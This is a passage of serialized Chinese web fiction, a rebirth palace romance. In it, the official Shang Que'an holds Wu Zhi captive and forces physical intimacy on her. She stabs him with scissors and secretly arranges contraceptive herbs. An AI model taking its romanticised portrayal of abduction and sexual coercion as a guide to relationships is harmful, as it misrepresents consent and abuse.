他却道:“你也说她上辈子得到的够多了。的确,人总不能太贪心。就像你不喜欢我这般对你,可我却放不开你。爱恨之间,我择另一端即可,又何尝不算一种圆满呢。”
妧枝透过他的双眼和神情,感受到一种病态的偏执,对他人的情感漠视到残忍。
在不对妧枝有一丝期望以后,无论什么人都无法令他对自身的做法产生动摇。
似是察觉出妧枝受到了惊吓,处于忌惮中,商榷安主动安抚,“你想回去看你阿母?我可以陪你去一趟。请他们到府里做客也是行的。”
显然后者更忠于商榷安的心意。
但妧枝明显很不赞同,她更疑惑商榷安为什么会突然允许她离开他的住处。
妧府尚且不知妧枝又无影踪,在郡王府就消失不见。
当日出府,妧枝还以为是商榷安弄虚作假,一时哄她的戏码,但在坐上马车后,亲眼看到外面正在倒退的街景,妧枝才意识到她真的跟着商榷安出门了。
她思索着从他身边离开的可能。
然而商榷安早已看透她的想法,“不要想着离开我,我能陪你回妧家,就代表我也能将你带回去。”
妧枝冷着脸,未将商榷安一番言语放在眼里。
等到了家门,其他人去叩门。
下人从里面拉开手环,惊讶地看着妧枝和另外一人,“大娘子?郡,郡……”
后面的话卡在喉咙中不知如何称呼。
看清陪伴在妧枝身边的男子后,下人心中震撼无比,竟不是向来跟娘子在一起的历郡王。
而是上回来府里,当众下聘的商密使。
商榷安没有一丝尴尬,十分自然地与妧枝一同跨过府里的门槛,踏入庭院中。
“你们夫人呢?”
“夫人,夫人在房中陪柔娘子练字……”
“去看看你母亲和妹妹吧。”商榷安向妧枝示意。
然而难以忍受他这副熟稔姿态的妧枝根本不用他多说,就已经直接往后院去了。
曾经在他跟前,平氏和妧柔也并没有得到多好的待遇,只有寻常的姿态。
商榷安还以为自己是平氏的女婿,妧柔的姐夫么?若不是她是被他掠去玷污的,还要以为今日是来带她回门。
后宅平静无波,在妧枝搬去郡王府后,平氏心中也曾安然许多。
妧酨如今在学着如何做一个大人,小女儿也日渐长大,平氏虽然操劳,彼此从前却舒心不少。
只是未料,长女突然回来了。
“主母,大娘子归家了。”
婢女来敲门时,平氏还在房中陪伴小女儿,等到前后两道身影从背后进来。
平氏刚还笑着要招呼,然而在看清人影后,彷如受到惊吓般瞬间不知该如何回应。
商榷安牵着妧枝的手,令她无法甩脱,对吃惊地望着他们的平氏道:“岳母,家中一切可好?我来陪妧枝探望你们,她想家了。”
平氏慌张摆手,“使不得,使不得,不能这么叫……”
商榷安跟妧枝没有成亲,怎么能这么喊。
然而商榷安却好似习以为常了,既不反驳平氏,却也没打算改口。
平氏只好看向妧枝,眼神质询,她怎么会跟商榷安一起来?
“你出去。”妧枝终于开口。
她忍无可忍看了眼达到目的的商榷安,“你要是想逼死我,尽管在这留下来。”
商榷安来此就是为了向平氏表明,妧枝如今是他的人。
他希望这位上一世的长辈能明白,他始终是这个家里的大女婿,没有别人。
而他环着妧枝的腰的手轻轻松开,五指在挠了下她的掌心后才脱离,“那我在院子里等你。”
他守在门外,不打算让妧枝从他眼皮下走丢。
透过门窗看到外面那道高大的身影,平氏浑不知情,受不住惊吓问:“阿枝,这是怎么回事?”
妧枝神色不如在商榷安面前时那样冷冰,却也不见一丝微笑,沉声道:“阿母,你救我,你救救我。”
商榷安负手而立,在庭院里等待妧枝出来。
预想中,妧枝应该是不想离开妧府的,尤其亲人身边,母女叙话,也应该会谈及到他,为什么会跟他在一起,而非历常珽。
但是屋中罕见没有听见哭声,那是个有事会憋在心里,不想让人知晓就绝对不会让人发现她在想什么的女子。
她的憨真实诚也会骗人。
商榷安拧眉,却还是没有选择去房门前偷听,而是耐心在屋外等,一直到妧枝开门和平氏出来。
“你就这么走了?当真没有其他办法……?”
平氏说这话,朝商榷安看过来。
她忽然上前,向商榷安祈求,“商大人,求你放了我家阿枝吧,她已经有了婚配,实在不能给你做妻子。她和锦瀚郡王心意相通,两情相悦,不再适合嫁给别人。”
商榷安看到平氏几乎想向他跪下来,他眼疾手快将人扶住,并不让平氏膝盖落地,眼神错开看向妧枝。
她就那样冷冰冰地站在一旁,袖手旁观,商榷安一时无意去追究她在房里和平氏到底说了什么。
沉声安抚,“岳母何出此言,我跟妧枝也是有婚约的,甚至比那些人都要早。”
“可是……”
“原先我与她的确有些误会,但我诚心改过,愿与她重头再来,岳母何不相信我这一次,慢些将我拒之门外。”
商榷安倒是想做个能令平氏满意的女婿,上辈子她就很满意极力促成他与妧枝的婚事不是?
但如今,好像在平氏等其他人心里,最该与妧枝成亲的,却成了另外一人。
他不见分毫愠色,未曾因平氏的话而表露不悦,而是盯着妧枝,“我想我们该走了。”
妧枝纹丝不动,站立在房门处,像听不懂他的话一样,不愿离开。
商榷安只好主动上前。
在他往前走了一步时,妧枝便闪躲似得后退一步,直到他将她抓住,眸子里终于因她的抗拒燃起一丝焰火,带着笑道:“你想留在这里用晚食吗?下次吧,再过一个月是你生辰,我再带你回来看望他们。”
他手中巧劲令人无力反抗,而妧枝忽地亮出一把剪刀刺向商榷安,在惊呼和破开皮肉的闷声出现在耳边时,妧枝的手下一刻被人狠狠捉住,商榷安反应同样很快,在妧枝刺过来的同时他同样攥住了她的手腕。
二人双目互相看着对方,妧枝从商榷安眼中看到了她自己的影子,眉眼并不温柔,而是痛恨阴郁,“松开。”商榷安道。
妧枝没有听从他的话,她只知道自己在被商榷安逼着离开这个家时,浑身充满抗拒不想跟他走。
他毁了自己,让她在这一世能重新来过的同时得到十足的痛苦,她甚至没有松开的想法,而是想着如何同样毁掉商榷安,于是手中更加用力把剪刀往商榷安肉里扎。
她感觉到剪刀正在往里深入,而商榷安表情终于出现一丝疼痛的异样,但却异常能忍,他还对妧枝道:“松开,别伤到你自己。”
“你今日不跟我走,明日呢?我可以在此留宿。你何日愿意,我何日离开,我倒是不介意与你弟妹们在同一屋檐下生活。”
妧枝眼神炯炯,锋芒毕露,“你休想。”
她终于撤回那把剪刀,随意丢弃在地上,鲜血在上面流淌。
平氏已经吓傻了,正要上前将妧枝行凶的利器拾起来,商榷安忽地搂过妧枝转过身。
模样瞧着若无其事对平氏道:“您瞧她这点小脾气,是不是与寻常女儿家很不一样?”
没有责怪的话语。
平氏怔怔地听着,商榷安道:“吓着岳母了,我们这就离开,妧枝生辰那日,我会再带她回来。”
揽着妧枝,商榷安朝外走去,有了她的遮挡像是什么都没有发生一样,一时瞧不见他哪里受了伤。
若非平氏手上的剪子还留有鲜红的血液,还以为那样惊险的一幕是错觉。
在回去的路程中,马车外的人不知里面发生了什么,只听见一两声微弱的惨叫。
妧枝被商榷安压在身下,撕咬般亲吻着她的嘴,指腹在那张柔软娇艳的面颊上掐出指印,“你和你阿母在屋里说了些什么?对我下死手的时候,有没有犹豫过半分?”
妧枝难逃商榷安的控制,她的挣扎从来都如蚍蜉撼树,一个成年男子的力气远非她能比拟,她轻易就被掌控起来,却无法脱离商榷安的怀中。
为了泄愤,妧枝的唇都被商榷安咬破嘴皮,能尝到血腥味。
她不肯告诉他房里发生的事,憎意和怒火填满双眸。
就在此刻,二人所乘的马车忽然在此停住。
商榷安的下属不见平日的轻浮,没忍住出声打扰,“大郎君,有人拦车。”
察觉有异,商榷安稍微与妧枝拉开距离,“什么人?”
枕戈的话音里略带一丝罕见的凝重,“是宫里……圣人侍从。”
第79章 公平。
商榷安从马车里出来,对面路的正前方,赫然站着一行宫里的队伍。
为首的侍从官在商榷安现身后,不卑不亢道:“还请商密使入宫,圣上在重阳殿邀密使大人一叙。”
商榷安站在高处打量清楚,在侍从官说完话后,道:“圣人提前归京了?”
比原定的日子早了两日。
侍从官含笑点头,“既然商密使已经知情,那我等就先行在宫中等候密使了。还请大人,切勿让圣上久等。”
对方并未说召见商榷安所为何事,又如何就等在既定的回程路上来堵他,只交代完便领着人先走了。
商榷安目光深沉的目送宫中的队伍离去,直到旁边下属问:“大郎君,可要属下先送你进宫,再送妧娘子回府?”
商榷安回眸看向马车内,那心狠的女子到如今都一声不吭坐在里面,对外界毫不关心。
对他更是冷漠至深。
“先回府。”
枕戈答应,“是。”
说着就要吩咐车夫回濉安王府,然而就在转头的瞬间,枕戈无意间一瞥马车轴板上,商榷安所站立的地方,不知何时多了好几滴血迹,登时顺着方向往商榷安身上看去。
“大郎君,你的腰……”
商榷安在枕戈如临大敌的惊呼中看向自己的腰,那里被妧枝用剪子捅伤过的位置因拉动间,又流出鲜血。
只是他今日衣着颜色颇深,即是被血晕染初始还以为是茶水沾湿了衣裳。
直到一滴、两滴……这般从衣角滴落在下属眼前,才发现商榷安竟是受伤了。
枕戈上来就想为商榷安看伤上药,然而被商榷安制止,“先回府,拿些药来,我自己处理。”
说着他回到马车内。
而妧枝听见外面的动静,哪怕知道了商榷安的下属发现他受了伤,看上去应该很严重,却也在商榷安进来后,神情冷艳靠坐在角落中,故意别开了头。
商榷安进来道:“看看你做的好事。”
哪怕妧枝不理他,商榷安依旧凑过去,抓住她的手放在他的伤口上,要让妧枝感受一下她的凶狠无情。
“你让我伤成这样,等到了圣上跟前,岂不是叫我威仪受损,失了颜面。”
妧枝不想被他碰,更被商榷安这么一激,顿时想让他伤的更加严重些。
还能说话,看来她下手还不够狠。
然而看出妧枝想法,比她动作更早,商榷安在妧枝行动时瞬间抓紧她的手,将她拽住。
他似是因此而气笑,默然不语地凝视着她,目光凌厉充满威慑。
过了片刻。
妧枝才听他道:“我竟不知你挠人起来这么痛,再有下回,当心我给你剪了。”
妧枝知道他这是威胁,她太过有恃无恐,还拿出利器来反击他了。
商榷安让她伤着一回,不代表就有二回。
她收回手,这次商榷安没有阻止便放开了她,妧枝闻到满手血腥味,虽然面上不曾显露,但心中还颇为惊讶,她竟伤得商榷安这么深,这么久了他的伤口还未止住。
将妧枝送回到书行居,商榷安并未在府中久留,他上了些药,叮嘱人照看好妧枝,便离开去了宫中。
深宫迎回主人,即便人去了骊山,宫里上下依旧和离开前没有区别。
各司其职,上下打点。
商榷安在半个时辰内出现在重阳殿中,避暑回来的圣人瞧见他,上下谛视一番后,严厉道:“你这是什么打扮。”
商榷安衣着未改,还是陪妧枝回家去的那套,只是身上明显血腥味溢出,圣人不过在他走近之后,就能敏锐嗅到不同。
年长者的威压散发出来,“你受伤了?谁能伤得了你?”
商榷安早已不是那个从乡野来的年轻人,他如今身居高位,手握实权,周围又有护卫,多得是人帮他办事。
即便朝中政敌再多又有再多危险,也不该让他伤成这样,让血腥味暴露在空气中。
“多谢圣上关心,臣来之前上过药,现在已经没事了。”商榷安态度如常,衣襟处还能看到绷带缠绕伤口的痕迹。
“不知圣上召臣前来,所为何事?”
圣人道:“你这是早就猜测到朕有什么目的,方才带着一身伤过来,是想博取朕的同情?”
“朕问你,常珽说你带走了妧家那个女子,可有此事?还有薛宰执,他向朕告了你一状,说你言行不佳,带坏百官风纪,不仅强抢民女,还说你与薛府失踪的薛明烛有关。这到底是怎么回事?”
面对这些指控,商榷安都应了下来。
“是,也不是。”
在对上圣人触怒的目光后,商榷安道:“我原以为圣上知晓,妧枝和我也颇有渊源。在历常珽之前,我与她早就有了婚约,只是因为其中误会,方才耽搁了这门亲事。妧嵘就在狱中,圣人可召他问话,是否如此。”
“这门亲,是经过我们两家首肯点过头的媒妁之言。我不过是与她再续前缘,倒也算不上强抢。”
“那薛明烛呢?这又是为何?”
商榷安上交了一份笔墨给他:“薛府已有不臣之心,陛下。若不是薛明烛,臣还搜罗挖掘不了原来薛家曾暗中与乱党也有联系,且薛明烛作为宰执的小女儿,却与罪臣妧嵘后宅私通。”
“据我所知,薛明烛的夫家,已故明威将军的家里人都以为她对亡夫忠贞情深,却不想原来明威将军在世时,薛明烛就与罪臣妧嵘私下往来了。这桩丑事薛宰执一直知晓,却睁一只眼闭一只眼,不知这一切若是让薛明烛的夫家知晓了会怎么样?”
在接过商榷安给的供词,阅览完上面所说事迹后,圣人神情明显有变,更加威严。
“此事若是属实,周家焉能善罢甘休,那一家可都是当仁不让的武夫。只想靠拳头说话。”
乱党一事刚刚平息,朝中暂且不适合再出波澜,免得人心不稳。
圣人睇视着商榷安,“薛明烛一事暂且作罢,继续盯着薛宰执,莫要打草惊蛇。还有妧家那个女子,你若是玩够了,就该还给常珽,他可不容易。好不容易终于有成家的心思,偏被你给搅黄了。”
商榷安却说:“小郡王找了陛下撑腰,可臣就容易了吗?”
“郡王视圣上为叔父,可我亦是圣上的子侄。当年为了代父受过,至今仍被人私下议论,留在王府名不正言不顺。若不是为了给世人看,我与濉安王的父子之情,以及圣上与臣子的君臣之情,如何会一直留在那。只怕早已经独立门户了。”
多年君臣,圣人经过提醒,的确想起来商榷安的父亲,乃是他同父异母的弟弟。
只是当年不满他才是帝位的继承人,于是拉拢朝中臣子,以表对当今圣上的不满。
为了杀鸡儆猴,以儆效尤,圣人方才将与此事有关的人都处置了,首当其冲的就是宰执商朔,而对濉安王李侀不过是敲山震虎,让他安分守己。
于商榷安来说,的确是场被连坐的无妄之灾。
他根本无需来承受这场祸事,但谁叫他是李侀的长子,本该也是李氏宗亲王孙贵族。
“你这是在怪朕?”圣人出言问。
商榷安坦然道:“我只是期望,同样是与圣上有渊源的身份,能多受些公平对待。”
“那妧枝有什么好,值得你与常珽这般争着抢着要?”
商榷安:“非要说的话,那是我欠她的。”
从未见过商榷安会是那般神情,说是无动于衷,倒像是认了死理,走了弯路。
这世上哪有谁欠谁的,不都是各凭本事?
况且以身份地位来谈,一个罪臣之女,能容下他们一家的姓名就已经是宽宏大量了。
这般一看,倒像是商榷安对着那女子求而不得了。
圣人皱着眉弯,只道:“你与常珽都是朕颇为喜爱的后辈,朕不想看到你们为了争一女子闹得反目成仇。若是真的因为她而闹得不可开交,此女就是尔等再想要,朕也容不得她的。”
他把话放在此处,商榷安没有当即表态,答应好还是不好。
而是缄默着无声回应他的态度,一直到这场对弈中,由圣人开口,方才作罢。
“下去吧,常珽那边,朕会想办法给他个交代。”
面对这样的应允,商榷安也不见半分喜色,或感恩戴德,他一如寻常那样退出重阳殿,冷峻且俊秀的面庞覆盖上一层阴影,整个人都仿佛还置身在泥潭中,只露出上半身在人世中存活。
圣人见此只有不语,唯有叹息。
倒不是他偏要偏心,而是朝中臣子,商榷安作为他的子侄,又与亲生父亲不睦,李氏宗亲又不多往来。
用他最为趁手,亦只有他才能成为整个朝中六亲不认的刀。
妧枝在商榷安将她送回王府后,面对婢女小心翼翼的侍候,忽然道:“商娘子呢?她可还在书行居内。”
婢女一脸惊讶地看着她。
妧枝十分自然道:“我有事要找她。”
妧枝要见商唯真,她抚摸着自己的腹部,今日她向自己的母亲平氏讨要了避孕的方子,而想要拿到药材势必要经过商榷安下属的手。
这几日商榷安都对她纠缠不休,日夜都有交媾,妧枝很担心自己就这样怀上身孕。
她这一世到底不像上辈子积郁成疾,身体一直都很健康。
但要怀上身孕,为商榷安诞下孩子,妧枝却不愿意了。
只是想不到,曾经是对方逼着她喝下汤药,如今竟是她自己主动求着要药方。
平氏精通药理,她又是生育过三个孩子的人,很会调理妇人体质的问题,妧枝如想拿到药材,只有寻求第三者的帮忙。
她再次对婢女道:“带我去见商唯真,现在就要。”
第80章 避子汤。
自从在商榷安房中,和妧枝针锋相对自讨没趣,商唯真早已心碎憔悴到不行。
她难以理解,为何总是待她有几分宠爱的兄长说变就变,他与妧枝哪来什么交集,怎么就对她用情至深?
但事实告诉她,在亲眼所见商榷安待妧枝的不同后,这二人之间绝对有她所不知道却发生了的事。
也许在她初入王府的时候,商榷安与妧枝就已经有了不可说的猫腻。
“娘子,妧娘子来了。”婢女忽然走进来道。
将人赶出去,独自伤心的商唯真闻言恍惚,“她来做什么?”
“说是想见娘子一面,有事来找。”
婢女道,商唯真却忍不住起身,像只刺猬准备迎战,“不,她定然是来羞辱我的,上回在她那里自讨没趣,如今她肯定想来取笑我,多么自不量力。”
房门打开,商唯真打扮好自己,还上了一点妆,方才让婢女去妧枝那边说,她能够进来。
在屋檐下等了一小阵,妧枝没有太多不满,她独自走进曾经来过的房中。
商唯真一看到她,便周身都竖起防备。
她倒是没有立马恶言相向,而是做好准备,万一妧枝对她不礼貌,她也不会任由她来羞辱自己。
她扬起微笑,像以前一样,仿佛跟妧枝没有发生过矛盾,但却虚伪而客气地道:“你来做什么?来看看我这几日过得好不好?那怕是要让妧娘子失望了,多少年,我与阿兄经历过多少是非,岂能是那一点龃龉能打倒的。”
妧枝打量她,不似日前那样咄咄逼人。
反倒是说:“你有这样的觉悟就好。”
商唯真脸色微变,她盯着妧枝上下观察,她这些日子吃不好睡不好,如同回到多年以前,她不过一介孤女,没有人庇佑的日子。
是商朔将她从族中要了过来,来给商榷安做个伴。
后来商榷安对她也一直很好,不是亲兄妹胜似亲生,更是宠爱有加,没有让她继续吃过苦日子。
可如今一切都变了。
有人得到了她想要的。
反观妧枝,她近来日夜与她兄长厮混,倒是光鲜亮丽,烟视媚行,莫非阿兄喜欢的就是她这副清冷孤高的姿色?
妧枝没有避开商唯真的目光,她直接对婢女吩咐道:“你们都出去,我有话和你们娘子说。”
不管是商唯真的婢女,还是跟着她一起过来的,都颇为犹豫。
而商唯真也惊讶至极,甚是谨慎对待妧枝提出的要求。
“听不懂我说的话吗?出去。”妧枝发了脾气。
她盯着婢女的眼睛,气势更盛,是历来在家做主惯了的那等威严。
婢女见此,即便再犹豫,也不得不从房中退出去。
妧娘子地位不一般,且真的想做什么,也不是她们能拦住的。
大郎君只说不让商娘子来寻妧娘子麻烦,可未曾说,妧娘子就不可以来找商娘子。
“等等。”商唯真一见婢女当真听了妧枝的话,说走就走。
房门也轻微拉拢,登时充满不安。
比起她来,妧枝表现出来的可比一般女子都要凶悍。
“你做什么?”她不想露怯,只能尽可能与妧枝拉开距离。
看着商唯真向背后架子上的花瓶靠拢,妧枝知晓她远非看上去那么纯然无辜,亦懂得趋利避害,防范自身。
为了让她放下戒心,妧枝走到一旁的桌子前坐下,“我今日来不是为了找你吵架,更不是为了跟你争执一个男人来的,你大可放心。”
“商唯真,你对商榷安的情意有多深?”
妧枝看着她问。
“你问这个做什么?想对我炫耀阿兄如今待你有多好?”商唯真不满反问。
妧枝:“我听闻,你向枕戈说,想要搬出王府。怎么你不要你阿兄了?就这么愿意任由他弃你而去?”
商唯真匪夷所思的盯着妧枝,咬牙切齿:“你到底想说什么?”
她怎么会愿意就这样失去阿兄,这个世上再也没有其他男子值得她另眼相待了。
而眼前的女子根本不理她此刻的愤怒,只说:“你帮我,我就帮你。”
“我不喜欢你的阿兄,我也有了想要相互终老的心上人,”妧枝说:“只要你帮我,我也会帮忙把你的阿兄还给你。”
商唯真误以为自己听错了。
她怔怔地没有反应过来,而是迟钝又重复了一遍妧枝的话,“帮我……阿兄,还给我?”
她简直不敢相信这话由妧枝口中说出,她不喜欢阿兄?她怎敢这般不知好歹?
“你答应还是不答应?可想好了,错过这个机会可就不会有下一次,我已有夫婿,他叫历常珽,为了他,我断不会嫁给别人。”
妧枝态度忠贞,商唯真被这件事冲昏了头脑,既难以理解妧枝为何不肯接受商榷安,又按捺不住动摇,难道那位郡王还能比阿兄好?
“你,你想要我为你做什么,你又打算如何帮我……”
若是妧枝想逃出去,她在这府里可没那么大权利,就算出去了,说不得也会被阿兄逮回来。
而且阿兄如今一颗心都系在她身上,商唯真更难以确定这么做到底有几分把握。
她面带惶恐,却心动不止。
而妧枝看着她,一切都显得那么胸有成竹,运筹在握。
商榷安从重阳殿里出去,到了宫外,不期然看到一道专门等在不远处的身影。
二人四目相接,商榷安稳稳踏步,在经过历常珽身边时,被对方忽然叫住。
“站住。”
商榷安停下来。
历常珽相当隐忍而不悦地盯着他:“我得到消息,阿枝的母亲让人传话给我,说你今日带她去了妧家,又将人给带走了。”
“的确如此。”
“你难道不清楚,阿枝她不愿意跟你走吗?你却偏要威胁她,让她这般难过,你就高兴了?”
历常珽沉声质问,而商榷安却不予回应,而是道:“是你告诉薛瑥甫,薛明烛的事与我有关?”
历常珽:“他已怀疑上阿枝,欲要见她找她麻烦。此事你知情更多,且薛明烛的下落我与阿枝都不甚明了,该如何处置,你也脱不了责。”
若代妧枝处理薛明烛的是历常珽,他亦会选择为妧枝承担下去,但薛明烛是生是死,尸首不明,如今她又被困在商榷安那,妧家就只剩几个孤儿寡母更没有自保之力。
历常珽唯有这般选择逼商榷安出来,“你把阿枝送回妧家,不要再纠缠她,我会帮你在薛瑥甫那将干系撇清。”
商榷安有恃无恐,“若是我不呢?”
历常珽:“那就没什么好说,在你将阿枝还回来之前,你我都将势不两立。”
日光之下,历常珽的嘴脸忽地与被他藏在宅内的妇人重合。
身上的血腥气还能清晰可闻,那么狠。
商榷安似是笑了下,连话都没与历常珽说,便继续从他身边走过。
他倒是想问问,上辈子历常珽就曾见过妧枝了,他们二人他的下属对他说的,亦有所耳闻。
历常珽常到濉安王府上做客,王妃接待不了,便是妧枝去接待的。
那时候,他们两个,不……那时候历常珽是否就对妧枝颇有些不同了。
这般的怀疑,令商榷安心中生出择人而噬的痒意。
他回到王府,刚走到书行居,在妧枝身边侍奉的婢女就来到跟前禀告,他不在府中发生的事。
“你说,妧娘子主动去找了商娘子见面?”下属在旁听着,闻言代他向婢女确认。
婢女点头:“奴婢所说千真万确。”
“那她二人说了什么?可有发生……争执?”联想到日前妧枝动过手,商娘子的确不是妧娘子的对手。
且就算动手,大郎君应当也不会怪罪商娘子。
枕戈不由地朝身旁暗暗看了一眼。
商榷安未曾露出任何异样,只听婢女说:“妧娘子把我们都赶了出去,说了什么也不让我们听,不过,两位娘子在里面只是说了会儿话,并未大打出手。”
“那可真是稀奇。”枕戈倏地感叹,被商榷安目光一瞥,登时噤声。
商榷安:“妧娘子呢,现在何处。”
“娘子已经回房了。”
商榷安回到房中,从门口进去,暮色正是时候。
他看到妧枝静静待在房中,倚在窗前,像锁在笼中的鸟,看着上空它处。
就是这种乖分安然,对事态的发展又自有一番她的镇定安定的模样,如流水一样,流到哪儿它都能汇入江流,令人禁不住想要接近,看是否能将她破坏,就能看到平日里有别于她平静老实的模样。
摧毁的欲望,令商榷安只要走近,一见到妧枝便心生别样滋味。
他下面也已抬头,而整个人从暗中走出来,靠近妧枝时,因受了伤又走了很长一段路,未能得到好好歇息的商榷安面色微白,目如点漆,便像从地里爬出来的恶鬼一样。
倒叫察觉到有人靠近,回头看来的妧枝面露惊讶,然后皱眉,抗拒往旁边一躲。
可惜她那处已是死角,即使抵着墙,也拉开不了多少距离,反倒是因商榷安的走近,这处窗都变得狭窄而逼仄起来。
商榷安一手捧起她的脸,不让妧枝偏过头去,面对自己,“今日高兴么?回家看了你阿母。”
不止看了平氏,妧枝还捅了他一刀。
伤口已经不再流血,却还是隐隐作痛。
妧枝不想理会商榷安,却由不得她奈何,想扭开脸视而不见也不行。
只能被迫捏着脸颊,眼神冷漠而不耐烦地瞪着他。
商榷安却犹自兴奋,即使被这样的目光盯着,他也未有不满,而妧枝更发现了他与自己越贴越近,可以清楚感受到他身体抵着她的变化。
妧枝惊讶,他难道不怕死吗,还这般有精力想那等事。
“走开,别碰我。”
妧枝正生厌着,可商榷安却不肯罢休,一门心思想与她亲热。
“你与历常珽上一世就认识了么?他对你如何,你与他是不是早就背着我往来了?”
妧枝不知他发什么疯,一回来就这般质问她,正要张嘴让他滚,然而借着巧劲,商榷安就将她下巴抬了起来,嘴角也擭住,像蛇一样往她唇里钻着信子。
他啃咬着妧枝的唇,令她有口难言,下颔酸涩,因闭不上而任由他摆弄,妧枝更是眸子委屈愠怒,宛若星子那样瞪着他。
商榷安却闭上眼分毫不看她憎恶的目光,尤为投入。
他的技巧纯熟且霸道,妧枝连带着都被他揉出火气,二人挤在角落里,气氛如同上了油锅,沸腾而炽热。
好在就在妧枝被商榷安抱上她所靠的桌台上时,一切发生不可控制,屋外忽然来了人道:“大郎君,商娘子来给妧娘子送补汤来了。”
80-90
第81章 身败名裂。
寂静的院子里,站着两道一前一后的身影。
房门虽开着,商唯真却看不到最里面的情形,只能听见微弱的动静。
不到片刻,终于有人从里面出来。
商唯真看着商榷安走来,俊脸透着散发过情欲的微红,气势沉敛,衣着也微乱,可以猜想到刚才在屋内,商榷安和妧枝经历了什么。
定然是亲密了一番,她心口绞痛,叫了声“阿兄”。
商榷安态度如常,走到商唯真跟前,“唯真,你怎么会过来?”
商唯真:“阿兄,我来给妧娘子送补汤。”
商榷安回头觑了一眼,妧枝还在屋内没出来,像是避嫌。
他不见惊讶,淡淡问道:“你怎么想到炖汤?”
他没有问为何之前商唯真才与妧枝发生过争执,怎么这么快就和好了,这简直不合常理。
商唯真同样知晓这道理,强颜欢笑道:“妧娘子今日来找我,说是不想与我关系闹得太僵,说她那日一时冲动,才推了我,我想既然她已经是阿兄的人……同样是为阿兄着想,我这个做妹妹的,也不应当在与嫂嫂为难。”
这声“嫂嫂”令商榷安眉头微动,却还是没什么情绪的看着她。
商唯真一脸已经悔改,知晓的苦笑道:“我想通了,阿兄……既然阿兄已经视妧娘子为心上人,那我也不应该再继续不懂事与她为难了,曾经那么多苦头,我都陪阿兄经历过。眼下,阿兄想要成家,我也应该祝福才对。”
“所以今日,我诚心想与妧娘子握手言和,这才想送补汤过来,以表心意。”
商唯真这番话,说的再大度贴心不过,表情也真诚,不知是否能打动商榷安。
这是妧枝教她的以退为进,在男子跟前示弱,要为他着想,方能让对方领略到她的退让不易。
若商榷安真的有心,应该会体谅她这份容人之度。
可商榷安最终什么都没说,只来到端着补汤的婢女跟前,倏地揭开碗盖,拿起勺子在汤里舀了舀,神情不明,眼神平静。
“这汤药……”
商唯真闻言,登时一颗心提到嗓子里,“怎么了,阿兄?”
商榷安继续搅弄,直到没找到丝毫异物,方才能下来。
他放下勺子,对旁边的下属道:“端给医师看看,里面都是些什么药材。”
商唯真脸色顺变,“阿兄?阿兄难道不信我,以为我会害了妧娘子不成?”
商榷安没有解释,表情冷静沉着。
就在此刻,一道声音叫住正想拿走的枕戈,“站住。”
收拾好仪容的妧枝从里面出来,她面色冷淡,只有那娇艳而红肿的唇可以瞧出失态过的端倪。
衣襟领口也不似平日那么平整,只是还算整洁,她看都不看商榷安,越过他走向枕戈,“把东西留下。”
枕戈一时为难,看向商榷安,请他示意。
妧枝直接不理会他们的交流,而是伸手从那张餐盘上将碗拿过来。
一旁婢女轻呼,“妧娘子……”
妧枝蓦地抬头,瞪着商榷安,“怎么,我与你阿妹交好也不成?还是你就想看我二人为了你,闹个你死我活?”
她只差骂商榷安心思歹毒,让两个女子为他争夺,令人不齿。
再看妧枝与她身后一起站着的商唯真,眼下气氛古怪,当真令他成了罪人。
“……”
妧枝执意要收下商唯真的人情,商榷安对下属摇头,示意不再阻拦,就这么眼睁睁看着她端着汤碗,将里面的东西全都灌了下去。
在妧枝喝完后,商榷安如似在那等着一般,从她手中拿走碗,交给守着的枕戈,“拿下去,让医师看看。”
虽然补汤没有了,但一点残余和气味还是能分辨得出来其中用了哪些药材。
商唯真流露出颇为伤心不被信任的神色,没成想商榷安对妧枝竟这般看重,谨慎到连她都有所防范。
可商榷安的确没顾得上她,“唯真,天色不早了,你也回房歇息吧。”
妧枝隔着商榷安与商唯真对视,她嘴角残留着一点药汁,被商榷安抬手用指腹抹拭。
目光的交汇像在提醒着双发达成的约定,妧枝在商榷安看过来时,垂下眼眸。
商唯真走后,商榷安搂着妧枝的腰,沉着而平静地问道:“怎么想到和唯真交好?你不记恨她上辈子做的事了?”
妧枝如听见一场笑话般,抬眼,眼风讽刺地剜了商榷安一下,“她为你争风吃醋,难道你就无辜?”
商榷安:“你果然记恨颇深。我当时因愧对她未能履行承诺,便将她安置在外,那座宅子我也并不常去,更多是留宿枢密院当差的屋子。你还未曾告诉我,你与历常珽上一世,是不是就已经……”
“不是谁都像你一样卑鄙无耻。”妧枝不愿意再听,“你与商唯真弄出孩子,还将他抱来与我相认,想给他谋个正经出身。我与常珽举止有度,他更在我和我阿母他们落难时出手相助,雪中送炭,比你好不知多少倍,你没有资格来谈论我和他的感情!”
“那个孩子……”
妧枝不欲多言,甩开商榷安的手进屋,“你即便再如何解释都无用了,你造下的孽你自己担,休要再来烦我,今夜你自个儿寻个地方安置。滚!”
妧枝将门合拢,紧紧一关。
爆发出的声响将商榷安拒之门外,下人见大郎君都在妧娘子手上吃了闭门羹,都不敢继续在此多待。
妧枝靠着门,呼吸急促,生怕对方会不顾一切闯进来。
她与商唯真约定好了,她不会让商榷安再近身,亦会撮合他们,而商唯真必须得提供避子的汤药给她,按照平氏的药方去调理。
她摸着自己的腹部,那里即使有着孕育血脉的温巢,却不属于她跟商榷安。
是他自己上辈子就将这种希望扼杀在手里的,人哪有运气好到次次都有回头路可走,他不想要的,她就不会再给了。
在妧枝将门关紧后,商榷安目光深沉地凝视着她进去的方向,随即在下人紧张的气氛中,朝外走,“让人盯着两位娘子,枕戈那边若有消息,即刻报给我。”
“是,大郎君。”
……
无边的黑夜里,忽地有一声惊叫划破长空。
薛府后宅里,原本熄灯的屋子纷纷亮起,下人进进出出,几欲人仰马翻方才停歇下来。
“明烛,明烛。”薛瑥甫赶来,披着外衣便安抚头发散乱,刚被找回家的女儿,“明烛,没事了,你看看阿父,阿父在呢,不会有人伤着你了。”
薛明烛一身惨状,缩在床榻角落里,已经变得叫下人们都认不出。
与从前不可一世的薛娘子薛夫人不可同日而语。
尖叫是守夜的婢女,因半夜睡不着觉,抹黑爬到她榻边的薛明烛受到惊吓,这才叫出了声。
而薛明烛被发现时,手中还拿着白日里打破的瓷瓶碎片,只是她指甲全无,亲眼目睹那张脸和薛明烛的身形时,婢女更是魂飞魄散,唯有那声“鬼啊”被硬生生吞回喉咙中,不敢叫主家听见。
不管薛瑥甫怎么说,如何安抚,归家后的薛明烛都做不出反应,她口不能言,指不能写字,行动无能,已经成了一介废人。
而她被找回来的那日,不声不响就被丢弃在薛府的家门口。
如此惊世骇俗的一幕,让薛府瞬间笼罩了一层阴影。
